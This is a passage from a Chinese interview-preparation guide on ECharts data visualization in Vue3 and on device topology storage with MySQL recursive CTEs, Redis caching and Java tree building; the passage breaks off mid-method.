9 Pinia 怎么做持久化? ⭐⭐⭐
10 前端路由是怎么实现的?(history API) ⭐⭐⭐⭐


第七章:ECharts 数据可视化(重点章)

你的简历项目三写了: “使用 Vue3 + ECharts 开发能源监控大屏与站点组态图,封装折线/仪表盘/热力图等十余个可复用图表组件,通过 WebSocket 推送 + 前端增量更新实现秒级数据刷新;针对大屏多图表场景采用按需注册与实例销毁策略,避免内存泄漏,大屏长时间运行内存稳定在 200MB 以内”

这每一句话都是考点,面试官可能追问:怎么封装的?实时刷新怎么做?大数据量怎么优化?内存泄漏怎么防治?本章全部展开。

7.1 ECharts 是什么?核心概念

小白讲解: ECharts 是百度开源的图表库,你只要准备一个有宽高的 div 容器和一份 option 配置对象,它就能画出各种图表。

// 最简三步
// ① 准备容器(必须有宽高!没宽高图表出不来)
<div ref="chartRef" style="width: 600px; height: 400px"></div>

// ② 初始化实例
const chart = echarts.init(chartRef.value);

// ③ 设置配置项
chart.setOption({
  xAxis: { type: 'category', data: ['Mon', 'Tue', 'Wed'] },
  yAxis: { type: 'value' },
  series: [{ type: 'bar', data: [120, 200, 150] }]
});

渲染原理(Canvas vs SVG):

渲染器 原理 优点 缺点 适用
Canvas(默认) 位图绘制 性能好,适合大数据量 不能单独操作元素,缩放有锯齿 大屏、万级数据点
SVG 矢量 DOM 节点 清晰无损,可用 CSS 控制,可访问性好 节点多时卡(DOM 开销) 小数据量、需要导出/打印
// 切换渲染器
echarts.init(el, null, { renderer: 'canvas' });   // 默认
echarts.init(el, null, { renderer: 'svg' });      // 矢量

你的项目选型: 能源大屏用 Canvas(设备数据点多、要高频刷新);如果需要导出成高清图片或打印,用 SVG。

7.2 option 配置结构(树形拓扑)

记住这个结构,面试官问“ECharts 配置项有哪些”就能系统性回答。

option(根配置)
├── title            标题
│   ├── text / subtext
│   └── left / top
├── legend           图例(点击可切换系列显示)
│   ├── data: ['系列1', '系列2']
│   └── orient / top / left
├── grid             直角坐标系的绘图区域(折线/柱状图用)
│   ├── left / right / top / bottom    ← 控制留白,防止标签被裁
│   └── containLabel: true             ★ 推荐,自动算上坐标轴标签空间
├── xAxis            横轴
│   ├── type: 'category'(类目)| 'value'(数值)| 'time'(时间)| 'log'
│   ├── data: [...]
│   └── axisLabel / name
├── yAxis            纵轴(同 xAxis,可配多个)
├── tooltip          鼠标悬浮提示
│   ├── trigger: 'axis'(坐标轴触发)| 'item'(数据项触发)
│   └── formatter    自定义内容(支持 HTML)
├── toolbox          工具栏(导出图片、数据视图、切换图表类型)
├── dataZoom         数据缩放(大数据量必备)
│   └── type: 'inside'(滚轮缩放)| 'slider'(滑块)
├── visualMap        视觉映射(热力图/地图按值映射颜色)
├── series   ★★核心★★     数据系列(一个 series 就是一组数据)
│   ├── type: 'line' | 'bar' | 'pie' | 'gauge' | 'heatmap' | 'graph' | 'tree' ...
│   ├── name         系列名(对应 legend)
│   ├── data         数据数组
│   ├── encode       数据编码(dataset 时用)
│   └── itemStyle / lineStyle / areaStyle / label   样式
├── dataset          数据集(推荐:数据与配置分离)
│   ├── source: [['product','销量'], ['A', 100], ['B', 200]]
│   └── dimensions
└── color            调色盘(系列默认配色)

⚠️ 新手最常见的坑:图表不显示

1. 容器没有宽高 → 最常见!必须给 div 设置 width/height
2. 容器是 display:none → 初始化时尺寸为 0,要显示后再 init 或 resize()
3. v-if 控制的容器 → 要用 nextTick 等 DOM 渲染完再 init
4. 数据格式不对 → series.data 要符合该图表类型要求的格式

7.3 常用图表类型与选型

图表 type 用途 你的项目场景
折线图 line 趋势变化(时间序列) 设备温度/功率随时间变化曲线
柱状图 bar 分类对比 各站点发电量对比
饼图/环形图 pie 占比构成 能源类型占比(光伏/风电/储能)
仪表盘 gauge 单值进度/阈值 设备负载率、SOC 电量
热力图 heatmap 二维密度/强度 24h × 7天 用电热力分布
雷达图 radar 多维对比 站点综合评分
散点图 scatter 相关性分析 温度 vs 效率散点
关系图 graph 网络拓扑 设备连接关系(第八章详讲)
树图 tree 层级结构 站点 → 设备 → 传感器层级(第八章详讲)
地图 map 地理分布 站点地理分布
K线图 candlestick 金融数据 —

7.4 完整代码示例(你的项目三种图)

① 折线图(设备功率趋势,带实时刷新)

// 能源监控:近 24 小时功率曲线(多条线对比)
const powerOption = {
  title: { text: '站点功率趋势', left: 'center' },
  tooltip: {
    trigger: 'axis',                      // 坐标轴触发:鼠标移到某列显示该时刻所有线
    axisPointer: { type: 'cross' }        // 十字准线
  },
  legend: { data: ['光伏', '风电', '储能'], top: 30 },
  grid: { left: '3%', right: '4%', bottom: '3%', containLabel: true },
  xAxis: {
    type: 'time',                          // ★ 时间轴(比 category 更适合时序数据)
    axisLabel: { formatter: '{HH}:{mm}' }  // 只显示时分
  },
  yAxis: {
    type: 'value',
    name: '功率(kW)',
    axisLabel: { formatter: '{value} kW' }
  },
  dataZoom: [                              // ★ 大数据量必备:可缩放
    { type: 'inside', start: 0, end: 100 },   // 滚轮缩放
    { type: 'slider', height: 20, bottom: 10 } // 底部滑块
  ],
  series: [
    {
      name: '光伏',
      type: 'line',
      smooth: true,                        // 平滑曲线
      showSymbol: false,                   // ★ 数据点多时隐藏圆点(性能)
      sampling: 'lttb',                    // ★ 降采样(见 7.6)
      areaStyle: { opacity: 0.3 },         // 面积填充
      data: pvData                         // 格式:[[timestamp, value], ...]
    },
    { name: '风电', type: 'line', smooth: true, showSymbol: false, data: windData },
    { name: '储能', type: 'line', smooth: true, showSymbol: false, data: storageData }
  ]
};
chart.setOption(powerOption);

② 仪表盘(设备负载率)

// 设备实时负载率仪表盘(超过 80% 变红)
function getGaugeOption(value, max = 100) {
  return {
    series: [{
      type: 'gauge',
      min: 0, max,
      splitNumber: 10,
      radius: '90%',
      axisLine: {
        lineStyle: {
          width: 18,
          color: [
            [0.6, '#67c23a'],      // 0~60% 绿色
            [0.8, '#e6a23c'],      // 60~80% 黄色
            [1, '#f56c6c']         // 80~100% 红色
          ]
        }
      },
      pointer: { width: 5, length: '60%' },
      axisTick: { distance: -18, length: 6, lineStyle: { color: '#fff', width: 1 } },
      splitLine: { distance: -18, length: 18, lineStyle: { color: '#fff', width: 2 } },
      axisLabel: { distance: 30, color: '#999', fontSize: 12 },
      title: { offsetCenter: [0, '70%'], fontSize: 14 },
      detail: {
        offsetCenter: [0, '35%'],
        fontSize: 28,
        fontWeight: 'bold',
        formatter: '{value}%',
        color: 'inherit'           // 跟随指针区间的颜色
      },
      data: [{ value, name: '当前负载' }]
    }]
  };
}

// 告警联动:负载超阈值时指针变红
watch(() => loadValue.value, (val) => {
  chart.setOption(getGaugeOption(val));
});

③ 热力图(7×24 用电分布)

// 一周 7 天 × 24 小时的用电强度热力图
const hours = Array.from({length: 24}, (_, i) => `${i}:00`);
const days = ['周一','周二','周三','周四','周五','周六','周日'];

// 数据格式:[小时索引, 天索引, 数值]
const data = [];
for (let d = 0; d < 7; d++) {
  for (let h = 0; h < 24; h++) {
    data.push([h, d, Math.round(Math.random() * 100)]);
  }
}

const heatmapOption = {
  tooltip: {
    position: 'top',
    formatter: (p) => `${days[p.data[1]]} ${hours[p.data[0]]}<br/>用电量:${p.data[2]} kWh`
  },
  grid: { height: '60%', top: '10%' },
  xAxis: { type: 'category', data: hours, splitArea: { show: true } },
  yAxis: { type: 'category', data: days, splitArea: { show: true } },
  visualMap: {                              // ★ 热力图核心:值 → 颜色映射
    min: 0, max: 100,
    calculable: true,
    orient: 'horizontal',
    left: 'center', bottom: '5%',
    inRange: {
      color: ['#313695','#4575b4','#74add1','#abd9e9','#e0f3f8',
              '#ffffbf','#fee090','#fdae61','#f46d43','#d73027','#a50026']
    }
  },
  series: [{
    name: '用电量',
    type: 'heatmap',
    data,
    label: { show: false },
    emphasis: { itemStyle: { shadowBlur: 10, shadowColor: 'rgba(0,0,0,0.5)' } }
  }]
};

7.5 实时刷新(WebSocket + 增量更新)

你简历写了“WebSocket 推送 + 前端增量更新实现秒级数据刷新”——这里是实现细节。

<script setup>
import { ref, onMounted, onUnmounted, shallowRef } from 'vue';
import * as echarts from 'echarts';
import { throttle } from '@/utils/throttle';

const chartRef = ref(null);
const chart = shallowRef(null);              // ★ 用 shallowRef,避免大对象被深度响应式
let ws = null;
const MAX_POINTS = 500;                      // 最多保留 500 个点(防止无限增长)
const timeData = [];
const valueData = [];

onMounted(() => {
  chart.value = echarts.init(chartRef.value);
  chart.value.setOption(getBaseOption());

  // ① 建立 WebSocket 连接
  ws = new WebSocket('ws://localhost:8080/ws/device-metrics');

  ws.onmessage = (e) => {
    const point = JSON.parse(e.data);        // { time: 1690000000000, value: 123.45 }
    // ② 交给节流后的更新函数(后端每秒推 10 次,前端最多 2 秒更新一次)
    throttledUpdate(point);
  };

  ws.onerror = (err) => console.error('WebSocket 错误', err);
  ws.onclose = () => {
    // ③ 断线重连(指数退避)
    setTimeout(connect, 3000);
  };
});

// ★ 关键:节流 + 增量更新
const throttledUpdate = throttle((point) => {
  // 追加新数据点
  timeData.push(point.time);
  valueData.push(point.value);

  // 超出上限,移除最老的(滑动窗口)
  if (timeData.length > MAX_POINTS) {
    timeData.shift();
    valueData.shift();
  }

  // ★ 增量更新:只更新 series.data,不动其他配置
  // 这样不会重绘整个图表,性能好
  chart.value.setOption({
    series: [{
      data: timeData.map((t, i) => [t, valueData[i]])
    }]
  });
}, 500);

onUnmounted(() => {
  ws?.close();                               // 关连接
  chart.value?.dispose();                    // ★ 销毁图表实例
});
</script>

关键优化点(面试要能说出这 4 条):

① 节流限流
   后端推送频率 >> 屏幕刷新率,用 throttle 限制前端渲染频率
   (每秒推 10 次但屏幕只有 60Hz,渲染 10 次是浪费)

② 增量更新(setOption 合并)
   setOption 默认是「合并」模式——只传变化的部分(series.data),
   不用重新传完整 option,ECharts 内部做差量更新
   ⚠️ 如果要完全替换,用 setOption(newOption, true)(notMerge=true)

③ 滑动窗口(限制数据点数量)
   数据无限增长会导致内存和渲染越来越慢
   保留最近 N 个点(如 500 个),超出的 shift 掉

④ shallowRef 存实例
   ECharts 实例是复杂大对象,用 ref 会被 Vue 深度代理,性能差且可能出问题
   用 shallowRef 只代理第一层

7.6 大数据量优化(重点,大屏必考)

场景: 你的能源大屏要展示设备历史曲线,一天 86400 个数据点,直接渲染会卡死。

优化手段(按优先级)

① 降采样 sampling(最有效)

series: [{
  type: 'line',
  data: largeData,                  // 10 万个点
  sampling: 'lttb',                 // ★ LTTB 降采样算法
  showSymbol: false                 // 必须隐藏数据点符号
}]

LTTB(Largest-Triangle-Three-Buckets)算法原理:

原始 10 万个点 → 屏幕只有 800 像素宽,不可能每个点都画
LTTB 的做法:
  ① 把数据按屏幕宽度分成 N 个桶(bucket)
  ② 每个桶里选一个"最能代表这段趋势"的点(用三角形面积最大准则)
  ③ 最终选出 N 个点,保留视觉形状

   原始: ∿∿∿∿∿∿∿∿∿∿∿∿∿∿∿∿  (100000 点)
                 ↓ LTTB
   采样: ∿∿∿∿∿∿∿∿  (800 点,形状几乎一致)

效果:10 万点 → 800 点,视觉上几乎无差别,渲染快 100 倍

其他 sampling 值: 'lttb'(最推荐,保形状)、'max'/'min'/'average'(取极值/均值,适合柱状图)。

② large 模式(散点图专用)

series: [{
  type: 'scatter',
  large: true,                      // ★ 开启大数据量优化
  largeThreshold: 2000,             // 超过 2000 个点自动启用
  data: hugeScatterData             // 支持百万级散点
}]

③ appendData(分片加载)

// 数据太大,分批追加(避免一次性 setOption 卡顿)
for (let i = 0; i < chunks.length; i++) {
  chart.appendData({
    seriesIndex: 0,
    data: chunks[i]                 // 每次追加一批
  });
}

④ 渐进渲染 progressive

series: [{
  type: 'scatter',
  progressive: 2000,                // 每帧渲染 2000 个点,分多帧完成
  progressiveThreshold: 3000,       // 超过 3000 个点才启用渐进渲染
  data: largeData
}]
// 效果:不阻塞主线程,用户能看到图表"逐渐画出来"

⑤ dataZoom + 只渲染可视区

// 只请求和渲染可视时间范围内的数据(后端配合)
dataZoom: [{ type: 'inside' }],

// 监听缩放事件,变化时向后端请求对应范围的数据
chart.on('dataZoom', (params) => {
  const [start, end] = chart.getOption().dataZoom[0].start !== undefined
    ? [chart.getOption().dataZoom[0].start, chart.getOption().dataZoom[0].end]
    : [0, 100];
  const [startTime, endTime] = percentToTimeRange(start, end);
  fetchDataInRange(startTime, endTime);      // 按需请求
});

⑥ 关闭动画

// 大数据量时动画会很卡,直接关掉
chart.setOption({
  animation: false,                 // 全局关闭动画
  series: [{ animation: false }]    // 或单个系列关闭
});

性能对比(面试可以说的数字):

数据量 未优化 优化后
1 万点 ~200ms ~30ms(sampling + 关动画)
10 万点 ~3s(卡死) ~100ms(lttb 降采样)
100 万散点 渲染不出 ~500ms(large + progressive 分帧)

7.7 内存泄漏防治(你简历写了“稳定 200MB”)

这正好对应你简历的“采用按需注册与实例销毁策略,避免内存泄漏,内存稳定在 200MB 以内”。

内存泄漏的 4 个来源 + 解法

① 图表实例没销毁
   ❌ 组件卸载时只置 null,ECharts 内部的 Canvas、事件监听还在
   ✅ onUnmounted 里 chart.dispose()

② 事件监听没移除
   ❌ window.addEventListener('resize', handler) 没 remove
   ✅ onUnmounted 里 removeEventListener(或用 ResizeObserver.disconnect)

③ 定时器没清除
   ❌ setInterval 轮询数据,组件销毁后还在跑
   ✅ onUnmounted 里 clearInterval

④ 数据无限累积
   ❌ 实时数据一直 push,数组越来越大
   ✅ 滑动窗口,超限 shift

完整防治代码

// composables/useChart.js —— 封装 ECharts 全生命周期管理
import { ref, shallowRef, onMounted, onUnmounted, onActivated, onDeactivated, nextTick } from 'vue';
import * as echarts from 'echarts';

export function useChart(getOption, deps = []) {
  const chartRef = ref(null);
  const chart = shallowRef(null);         // ★ shallowRef 避免深度代理
  let resizeObserver = null;

  onMounted(async () => {
    await nextTick();                      // ★ 等 DOM 渲染完(容器要有尺寸)
    if (!chartRef.value) return;

    chart.value = echarts.init(chartRef.value);
    chart.value.setOption(getOption());

    // ★ 用 ResizeObserver 替代 window.resize(更精准,能监听容器自身尺寸变化)
    resizeObserver = new ResizeObserver(() => {
      chart.value?.resize();
    });
    resizeObserver.observe(chartRef.value);
  });

  // keep-alive 场景
  onActivated(() => chart.value?.resize());     // 恢复时重新计算尺寸

  onUnmounted(() => {
    // ★★ 三重清理,缺一不可 ★★
    resizeObserver?.disconnect();               // ① 停止监听
    resizeObserver = null;

    chart.value?.dispose();                     // ② 销毁实例(释放 Canvas + 事件)
    chart.value = null;
  });

  // 更新数据(增量)
  function update(newOption) {
    chart.value?.setOption(newOption);          // 默认 merge 模式
  }
  // 完全替换(系列数量变化时用)
  function replace(newOption) {
    chart.value?.setOption(newOption, true);    // notMerge = true
  }

  return { chartRef, chart, update, replace };
}

ECharts 按需引入(减小打包体积)

// ❌ 全量引入(打包 ~1MB,包含所有图表类型)
import * as echarts from 'echarts';

// ✅ 按需引入(只打包用到的,能减到 ~200KB)
import * as echarts from 'echarts/core';
import { LineChart, BarChart, PieChart, GaugeChart, HeatmapChart, GraphChart, TreeChart } from 'echarts/charts';
import {
  GridComponent, TooltipComponent, LegendComponent, TitleComponent,
  DataZoomComponent, VisualMapComponent, ToolboxComponent
} from 'echarts/components';
import { CanvasRenderer } from 'echarts/renderers';

// 注册(用到什么注册什么)
echarts.use([
  LineChart, BarChart, PieChart, GaugeChart, HeatmapChart, GraphChart, TreeChart,
  GridComponent, TooltipComponent, LegendComponent, TitleComponent,
  DataZoomComponent, VisualMapComponent, ToolboxComponent,
  CanvasRenderer
]);

export default echarts;

面试话术(对应简历那条): “我们的能源大屏有十几个图表长时间运行,最初发现内存持续增长——排查后是三个原因:图表实例没 dispose、resize 监听没移除、实时数据数组无限增长。 解决方案:封装了 useChart composable,在 onUnmounted 里统一做三重清理——ResizeObserver.disconnect()、chart.dispose()、清除定时器;实时数据用滑动窗口限制在 500 个点以内。另外 ECharts 改成按需引入(echarts/core + use()),只注册用到的图表类型,打包体积从 1MB 降到 200KB。改造后大屏连续运行 24 小时内存稳定在 200MB 以内。”

7.8 Vue3 中封装 ECharts 组件

<!-- components/EChart.vue —— 通用图表组件 -->
<script setup lang="ts">
import { ref, shallowRef, onMounted, onUnmounted, watch, nextTick } from 'vue';
import * as echarts from 'echarts';

interface Props {
  option: Record<string, any>;        // ECharts 配置
  height?: string;
  loading?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
  height: '400px', loading: false
});

const chartRef = ref<HTMLDivElement>();
const chart = shallowRef<echarts.ECharts>();
let observer: ResizeObserver | null = null;

onMounted(async () => {
  await nextTick();
  chart.value = echarts.init(chartRef.value!);
  chart.value.setOption(props.option);

  observer = new ResizeObserver(() => chart.value?.resize());
  observer.observe(chartRef.value!);
});

// ★ 监听 option 变化,增量更新(父组件改数据,图表自动更新)
watch(() => props.option, (newOpt) => {
  chart.value?.setOption(newOpt);        // merge 模式
}, { deep: true });                       // option 是嵌套对象,要深度监听

// loading 态
watch(() => props.loading, (val) => {
  val ? chart.value?.showLoading() : chart.value?.hideLoading();
});

onUnmounted(() => {
  observer?.disconnect();
  chart.value?.dispose();
});

// 暴露方法给父组件(如导出图片)
defineExpose({
  getChart: () => chart.value,
  exportImage: () => chart.value?.getDataURL({ type: 'png', pixelRatio: 2 })
});
</script>

<template>
  <div ref="chartRef" :style="{ width: '100%', height }"></div>
</template>

父组件使用:

<template>
  <EChart :option="powerOption" height="350px" :loading="loading" />
</template>

<script setup>
import { computed } from 'vue';
import EChart from '@/components/EChart.vue';

const rawData = ref([]);
const loading = ref(false);

// ★ 用 computed 派生 option:数据变了,option 自动变,图表自动更新
const powerOption = computed(() => ({
  tooltip: { trigger: 'axis' },
  xAxis: { type: 'time' },
  yAxis: { type: 'value', name: '功率(kW)' },
  series: [{
    type: 'line',
    smooth: true,
    showSymbol: false,
    sampling: 'lttb',
    data: rawData.value           // ← 数据变 → computed 重算 → watch 触发 → setOption
  }]
}));
</script>

⚠️ 注意: watch(option, { deep: true }) 深度监听大对象有性能开销。更好的做法是只监听数据(rawData),然后手动调 setOption 更新,而不是深度监听整个 option。

7.9 大屏适配方案

大屏项目必考:设计稿是 1920×1080,但客户屏幕可能是 4K 或笔记本。

方案对比

方案 做法 优点 缺点
scale 缩放(推荐) 按设计稿尺寸做,整体 transform: scale() 简单,完美还原设计稿 四周可能有黑边
rem/vw 适配 按屏幕比例动态设置根字号 无黑边,充满屏幕 需要所有尺寸用 rem,改造量大
Grid 响应式布局 用 CSS Grid + 百分比 灵活 图表内部字号不好适配

scale 方案实现(最常用)

<!-- ScreenAdapter.vue -->
<script setup>
import { ref, onMounted, onUnmounted } from 'vue';

const props = defineProps({
  width: { type: Number, default: 1920 },      // 设计稿宽
  height: { type: Number, default: 1080 }      // 设计稿高
});

const scale = ref(1);
const style = computed(() => ({
  width: `${props.width}px`,
  height: `${props.height}px`,
  transform: `scale(${scale.value}) translate(-50%, -50%)`,
  position: 'absolute',
  left: '50%',
  top: '50%',
  transformOrigin: 'left top'
}));

function calcScale() {
  // 取宽高比例的较小值,保证内容完整显示(contain 模式)
  scale.value = Math.min(
    window.innerWidth / props.width,
    window.innerHeight / props.height
  );
}

onMounted(() => {
  calcScale();
  window.addEventListener('resize', calcScale);
});
onUnmounted(() => {
  window.removeEventListener('resize', calcScale);   // ★ 记得移除
});
</script>

<template>
  <div class="screen-wrapper">
    <div :style="style">
      <slot></slot>          <!-- 大屏内容按 1920×1080 设计稿写死尺寸即可 -->
    </div>
  </div>
</template>

<style scoped>
.screen-wrapper {
  width: 100vw; height: 100vh;
  overflow: hidden;
  background: #000;
}
</style>

图表内部也要跟着缩放: scale 方案下 Canvas 会被 CSS 拉伸,可能模糊。解决:图表容器按设计稿像素写,缩放由外层统一处理,ECharts 内部不用管(Canvas 会跟着 transform 缩放,轻微模糊可接受;要求高的话可以监听 scale 变化后 chart.resize())。


第七章 面试题汇总

# 题目 难度
1 ECharts 的基本使用流程? ⭐⭐⭐
2 Canvas 和 SVG 渲染器的区别?怎么选? ⭐⭐⭐⭐
3 图表不显示,可能是什么原因? ⭐⭐⭐⭐
4 实时数据刷新怎么做?如何避免性能问题? ⭐⭐⭐⭐⭐
5 setOption 的 merge 和 notMerge 有什么区别? ⭐⭐⭐⭐
6 万级/十万级数据点怎么优化? ⭐⭐⭐⭐⭐
7 LTTB 降采样是什么原理? ⭐⭐⭐⭐⭐
8 ECharts 内存泄漏怎么排查和防治? ⭐⭐⭐⭐⭐
9 如何按需引入 ECharts 减小体积? ⭐⭐⭐⭐
10 大屏适配怎么做?scale 方案原理? ⭐⭐⭐⭐
11 如何在 Vue3 中封装 ECharts 组件? ⭐⭐⭐⭐
12 为什么要用 shallowRef 存 ECharts 实例? ⭐⭐⭐⭐⭐
13 dataZoom 有什么用?大数据场景怎么用? ⭐⭐⭐⭐
14 热力图的 visualMap 是做什么的? ⭐⭐⭐


第八章:拓扑结构可视化(重点章)

你的简历项目三写了两处相关描述,这是全栈能力的最佳证明点:

  • 后端:“设计设备拓扑图邻接表存储模型(MySQL 递归 CTE + Redis 缓存),支持万级设备节点层级查询”
  • 前端:“使用 Vue3 + ECharts 开发能源监控大屏与站点组态图、交互式设备拓扑图”

前后端能讲通这一整条链路(DB 存储 → 后端查询 → 前端渲染 → 交互优化),是全栈工程师的核心说服力。

8.1 什么是拓扑图?

小白讲解: 拓扑图(Topology Graph)用来表示节点与节点之间的连接关系——不关心地理位置和物理尺寸,只关心“谁连着谁”。

网络拓扑:                     设备层级拓扑(树形):
  ┌───┐                              ┌──────┐
  │ A ├────┬────┐                    │ 站点A │
  └───┘    │    │                    └───┬───┘
       ┌───┴┐ ┌─┴───┐            ┌───────┼───────┐
       │ B  │ │  C  │         ┌──┴──┐ ┌──┴──┐ ┌──┴──┐
       └──┬─┘ └─────┘         │逆变器│ │逆变器│ │储能 │
          │                   └──┬──┘ └─────┘ └─────┘
       ┌──┴───┐                  │
       │  D   │            ┌─────┴─────┐
       └──────┘         ┌──┴──┐    ┌──┴──┐
                        │光伏板│    │光伏板│
   (网状,任意连接)         └──────┘    └──────┘
                        (树形,严格层级)

常见拓扑类型:

类型 结构 你的项目场景
树形拓扑 严格层级(父 → 子) 站点 → 设备 → 传感器
网状拓扑 任意连接 设备间通信链路、管网
星型拓扑 一个中心连多个 网关 → 终端设备
环形/总线 首尾相连 电力线路走向

ECharts 对应的图表类型:

  • type: 'tree' —— 树形拓扑(自带布局算法)
  • type: 'graph' —— 通用关系图(网状/星型等任意拓扑,可配力导向布局)

8.2 数据结构:邻接表(呼应你的简历设计)

你简历写了“邻接表存储模型(MySQL 递归 CTE + Redis 缓存)”,本节把这套设计讲透。

树的四种存储方案对比

场景:存储 站点 → 设备 → 传感器 的层级关系

┌─────────────────────────────────────────────────────────┐
│ 方案1:邻接表(Adjacency List)★ 你选的方案              │
│ ────────────────────────────────────────────────────     │
│ 表结构:device(id, name, parent_id)                      │
│ 数据:                                                    │
│   id=1, name='站点A',  parent_id=NULL                     │
│   id=2, name='逆变器1', parent_id=1                       │
│   id=3, name='光伏板1', parent_id=2                       │
│                                                           │
│ ✅ 优点:结构直观、插入/移动节点只需改 parent_id(O(1))  │
│ ❌ 缺点:查整棵树要递归(MySQL 8.0 用 CTE 解决)          │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 方案2:路径枚举(Path Enumeration / 物化路径)            │
│ ────────────────────────────────────────────────────     │
│ 表结构:device(id, name, path)                           │
│ 数据:                                                    │
│   id=1, name='站点A',   path='/1/'                        │
│   id=2, name='逆变器1', path='/1/2/'                      │
│   id=3, name='光伏板1', path='/1/2/3/'                    │
│                                                           │
│ ✅ 优点:查子树用 LIKE '/1/%',一次查询搞定               │
│ ❌ 缺点:移动子树要更新所有后代的 path(数据量大时慢)     │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 方案3:闭包表(Closure Table)                            │
│ ────────────────────────────────────────────────────     │
│ 额外一张关系表:device_relation(ancestor_id,              │
│                 descendant_id, depth)                    │
│ 数据(记录所有祖先后代关系):                             │
│   (1, 1, 0) (1, 2, 1) (1, 3, 2) (2, 2, 0) (2, 3, 1)...   │
│                                                           │
│ ✅ 优点:查询任意层级关系都是 O(1) 简单 JOIN              │
│ ❌ 缺点:冗余数据多(n 层树要存 O(n²) 条关系)            │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│ 方案4:嵌套集(Nested Set)                               │
│ ────────────────────────────────────────────────────     │
│ 表结构:device(id, name, lft, rgt)                       │
│ 用左右值编码,查子树用 BETWEEN                            │
│                                                           │
│ ✅ 优点:查子树极快,无需递归                              │
│ ❌ 缺点:插入/移动要重排大量节点,不适合频繁变动           │
└─────────────────────────────────────────────────────────┘

选型对比表(面试直接答这个):

方案 查子树 查祖先 插入 移动子树 适用
邻接表 需递归(CTE) 需递归 ✅ 快 ✅ 快 层级变动频繁(你选它)
路径枚举 ✅ LIKE 一次查 ✅ 解析 path 快 ❌ 改所有后代 查询为主、少变动
闭包表 ✅ JOIN ✅ JOIN 慢(插多条) 慢 查询极频繁、层级深
嵌套集 ✅ BETWEEN ✅ ❌ 重排 ❌ 重排 极少变动的静态树

你的选型理由(面试话术): “设备拓扑会频繁调整——新增设备、更换网关、站点重组,所以选了邻接表:移动节点只需 UPDATE 一条 parent_id,O(1) 代价。查询方面用 MySQL 8.0 的递归 CTE 一次查出整棵树,再用 Redis 缓存树形 JSON,避免每次都递归查询。”

MySQL 递归 CTE 查询(后端核心)

-- 表结构
CREATE TABLE device (
  id          BIGINT PRIMARY KEY,
  name        VARCHAR(100) NOT NULL,
  parent_id   BIGINT DEFAULT NULL,      -- 父节点,根节点为 NULL
  device_type VARCHAR(32),              -- STATION / INVERTER / PANEL / SENSOR
  status      VARCHAR(16),              -- ONLINE / OFFLINE / FAULT
  INDEX idx_parent (parent_id)
);

-- ★ 递归 CTE:查出以某个站点为根的整棵子树(含层级深度和路径)
WITH RECURSIVE device_tree AS (
  -- ① 锚成员(递归起点):根节点
  SELECT
    id, name, parent_id, device_type, status,
    0 AS depth,                                  -- 层级深度,根为 0
    CAST(id AS CHAR(1000)) AS path               -- 路径(防止递归结果超长要 CAST)
  FROM device
  WHERE id = #{rootId}                           -- 从指定站点开始

  UNION ALL

  -- ② 递归成员:不断 join 出下一层子节点
  SELECT
    d.id, d.name, d.parent_id, d.device_type, d.status,
    dt.depth + 1,                                -- 深度 +1
    CONCAT(dt.path, ',', d.id)                   -- 路径拼接
  FROM device d
  INNER JOIN device_tree dt ON d.parent_id = dt.id
  WHERE dt.depth < 10                            -- ★ 防止死循环/层级过深
)
SELECT * FROM device_tree ORDER BY path;

-- 查询结果示例:
-- id | name     | parent_id | device_type | depth | path
-- 1  | 站点A     | NULL      | STATION     | 0     | 1
-- 2  | 逆变器1   | 1         | INVERTER    | 1     | 1,2
-- 5  | 光伏板1   | 2         | PANEL       | 2     | 1,2,5
-- 6  | 光伏板2   | 2         | PANEL       | 2     | 1,2,6
-- 3  | 逆变器2   | 1         | INVERTER    | 1     | 1,3

⚠️ 生产注意事项(体现工程经验):

① 必须限制递归深度(WHERE dt.depth < 10)
   —— 数据异常形成环(A.parent=B, B.parent=A)会无限递归,拖垮数据库

② CAST(id AS CHAR(1000)) 不能省
   —— MySQL 递归 CTE 中,path 列的类型由第一次 SELECT 决定,
      不 CAST 成足够长会被截断,报 "Data too long" 错误

③ 加 parent_id 索引
   —— 递归每轮都要按 parent_id 查,没索引会全表扫描

④ 大结果集要分页/限制
   —— 万级节点一次性查出来,网络传输和前端渲染都很重

8.3 后端:构建树形 JSON 返回前端

后端查出来是平铺的列表(带 parent_id),前端 ECharts 需要嵌套的树形结构,转换在哪端做?

方案选择: 后端转(推荐)。理由:① 前端拿到就能直接用;② 树形 JSON 可以被 Redis 缓存,避免每次重建;③ 后端内存构建(HashMap)比前端 JS 快且可控。

// ============ DTO:树形节点 ============
@Data
public class DeviceNode {
    private Long id;
    private String name;
    private String deviceType;
    private String status;              // ONLINE / OFFLINE / FAULT → 前端按状态着色
    private Integer depth;
    private List<DeviceNode> children;  // 子节点(ECharts tree 直接认这个结构)

    // 前端 ECharts 额外需要的字段(可选,也可在前端映射)
    private Map<String, Object> extra;  // 扩展属性:功率、温度等
}

// ============ Service:列表 → 树 ============
@Service
public class DeviceTopologyService {

    @Autowired
    private DeviceMapper deviceMapper;
    @Autowired
    private RedisTemplate<String, Object> redisTemplate;

    private static final String TOPO_CACHE_KEY = "topology:station:";
    private static final Duration CACHE_TTL = Duration.ofMinutes(30);

    /**
     * 获取站点拓扑树(带缓存)
     */
    public DeviceNode getTopologyTree(Long stationId) {
        String cacheKey = TOPO_CACHE_KEY + stationId;

        // ① 查缓存
        DeviceNode cached = (DeviceNode) redisTemplate.opsForValue().get(cacheKey);
        if (cached != null) {
            return cached;
        }

        // ② 缓存未命中:递归 CTE 查询平铺列表
        List<DeviceFlat> flatList = deviceMapper.selectTreeByRootId(stationId);
        if (flatList.isEmpty()) {
            return null;
        }

        // ③ O(n) 构建树(关键算法)
        DeviceNode root = buildTree(flatList);

        // ④ 写缓存
        redisTemplate.opsForValue().set(cacheKey, root, CACHE_TTL);
        return root;
    }

    /**
     * ★ 平铺列表 → 树形结构,O(n) 时间复杂度
     *
     * 思路:两遍遍历
     *   第一遍:所有节点放进 Map(id → node)
     *   第二遍:遍历列表,把每个节点挂到父节点的 children 里
     */
    private DeviceNode buildTree(List<DeviceFlat> flatList) {
        // 第一遍:id → node 映射
        Map<Long, DeviceNode> nodeMap = new HashMap<>(flatList.size() * 2);
        for (DeviceFlat flat : flatList) {
            DeviceNode node = new DeviceNode();
            node.setId(flat.getId());
            node.setName(flat.getName());
            node.setDeviceType(flat.getDeviceType());
            node.setStatus(flat.getStatus());
